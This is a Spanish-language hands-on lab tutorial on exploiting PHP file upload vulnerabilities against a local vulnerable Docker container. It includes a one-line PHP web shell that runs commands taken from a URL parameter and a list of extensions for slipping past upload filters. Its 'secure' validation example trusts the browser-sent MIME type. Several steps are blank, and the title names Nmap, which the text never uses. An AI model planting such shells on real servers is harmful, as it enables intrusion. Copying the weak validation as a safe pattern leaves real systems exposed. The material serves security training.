Explotación de Vulnerabilidades de Carga de Archivos con Nmap

NmapBeginner
Practicar Ahora

Introducción

Este laboratorio se centra en las vulnerabilidades de carga de archivos, un problema de seguridad común en las aplicaciones web. Aprenderá a identificar estas vulnerabilidades, comprender su impacto potencial y explorar métodos para explotarlas. El laboratorio proporciona experiencia práctica con ejemplos prácticos, lo que le permitirá comprender mejor los conceptos de seguridad de las aplicaciones web y las medidas defensivas.

Comprensión de las Vulnerabilidades de Carga de Archivos

Las vulnerabilidades de carga de archivos ocurren cuando las aplicaciones web no validan correctamente los archivos cargados. Esto puede permitir a los atacantes cargar archivos maliciosos, lo que podría conducir a la ejecución remota de código en el servidor.

Examinemos una implementación típica de carga de archivos en PHP utilizando la función move_uploaded_file():

<?php
// The move_uploaded_file() function moves an uploaded file to a new location
// Returns true on success, false on failure
move_uploaded_file($file, $newloc);

Parámetros:

  • $file: El archivo cargado para mover
  • $newloc: La ruta de destino para el archivo

Una implementación segura debe incluir una validación adecuada, como se muestra en este ejemplo:

<?php
// Define allowed image extensions
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);        // Get the file extension

if ((($_FILES["file"]["type"] == "image/gif")
    || ($_FILES["file"]["type"] == "image/jpeg")
    || ($_FILES["file"]["type"] == "image/jpg")
    || ($_FILES["file"]["type"] == "image/pjpeg")
    || ($_FILES["file"]["type"] == "image/x-png")
    || ($_FILES["file"]["type"] == "image/png"))
    && ($_FILES["file"]["size"] < 204800)    // Less than 200 KB
    && in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "Error: " . $_FILES["file"]["error"] . "<br>";
    }
    else
    {
        echo "Uploaded file name: " . $_FILES["file"]["name"] . "<br>";
        echo "File type: " . $_FILES["file"]["type"] . "<br>";
        echo "File size: " . ($_FILES["file"]["size"] / 1024) . " KB<br>";
        echo "Temporary file location: " . $_FILES["file"]["tmp_name"];
    }
}
else
{
    echo "Invalid file format";
}
?>

Este código demuestra varias comprobaciones de seguridad importantes:

  • Validación de la extensión del archivo (File extension validation)
  • Verificación del tipo MIME (MIME type verification)
  • Limitación del tamaño del archivo (File size limitation)
  • Manejo de errores (Error handling)

Sin estas validaciones, los atacantes podrían cargar archivos maliciosos que se ejecuten en el servidor.

Identificación del Lenguaje del Lado del Servidor

Antes de explotar una vulnerabilidad de carga de archivos, es crucial identificar el lenguaje del lado del servidor (server-side language) utilizado por la aplicación web. Esta información determina qué tipo de archivo cargar para una explotación exitosa.

Primero, configuremos nuestro entorno de laboratorio:

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images

Después de ejecutar este comando, verifique que el entorno sea accesible en: http://localhost:82

Métodos para identificar el lenguaje del lado del servidor:

  1. Extensiones de Archivo en la URL (URL File Extensions):

    • Las extensiones .php indican PHP
    • Las extensiones .asp o .aspx indican ASP.NET
    • Las extensiones .jsp indican Java Server Pages
  2. Cabeceras del Servidor (Server Headers):

    • Microsoft IIS normalmente ejecuta ASP.NET
    • Apache o Nginx comúnmente ejecutan PHP
    • Apache Tomcat ejecuta JSP

Puede utilizar la extensión de navegador Wappalyzer para detectar automáticamente el servidor web y el lenguaje de programación:

En nuestro entorno de laboratorio, debería ver:

Web Server: Apache
Backend Language: PHP

Subiendo una Web Shell

Ahora que hemos identificado PHP como el lenguaje del lado del servidor, subiremos un web shell de PHP para ejecutar comandos en el servidor.

Se puede encontrar una colección de web shells aquí:

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php
  1. Cree un archivo de prueba phpinfo.php en el directorio /home/labex/project:
<?php phpinfo(); ?>
  1. Suba el archivo:

  2. Verifique la subida:

  3. Cree un shell de ejecución de comandos shell.php:

<?php echo "Shell"; system($_GET['cmd']); ?>
  1. Suba y pruebe el shell:

  2. Ejecute comandos:

Nota: Este laboratorio demuestra la funcionalidad básica de un web shell. Temas avanzados como reverse shells (shells inversos) y escalada de privilegios (privilege escalation) se cubren en cursos más avanzados.

Eludir las Restricciones del Servidor (Opcional)

Algunas aplicaciones web implementan restricciones de extensión de archivo para evitar la carga de archivos maliciosos. Esta sección explora métodos para evitar estas restricciones (bypass).

Cuando las extensiones .php están bloqueadas, intente con extensiones alternativas de PHP que puedan ser ejecutables:

  1. Intente subir con la extensión .php3:

  2. Si no tiene éxito, intente con la extensión .phar:

Extensiones comunes para intentar el bypass:

  • .php3
  • .php4
  • .php5
  • .phar
  • .phtml

Nota: El éxito depende de la configuración del servidor. Diferentes servidores pueden permitir que diferentes extensiones se ejecuten como código PHP.

Resumen

Este laboratorio cubrió aspectos esenciales de las vulnerabilidades de carga de archivos (file upload vulnerabilities):

Conceptos Clave:

  • Comprensión de los mecanismos de vulnerabilidad de carga de archivos
  • Identificación de lenguajes de programación del lado del servidor (server-side programming languages)
  • Carga y ejecución de web shells
  • Evitar las restricciones de extensión de archivo (bypassing file extension restrictions)

Habilidades Técnicas Adquiridas:

  • Detección del lenguaje del lado del servidor
  • Creación e implementación de web shells
  • Ejecución de comandos a través de archivos cargados
  • Técnicas de bypass de extensión

Implicaciones de Seguridad:

  • Impacto de la validación de archivos insuficiente
  • Importancia de las restricciones de carga adecuadas
  • Riesgos de ejecución del lado del servidor (server-side execution risks)

Este conocimiento fundamental lo prepara para temas avanzados de seguridad de aplicaciones web que se cubren en cursos posteriores.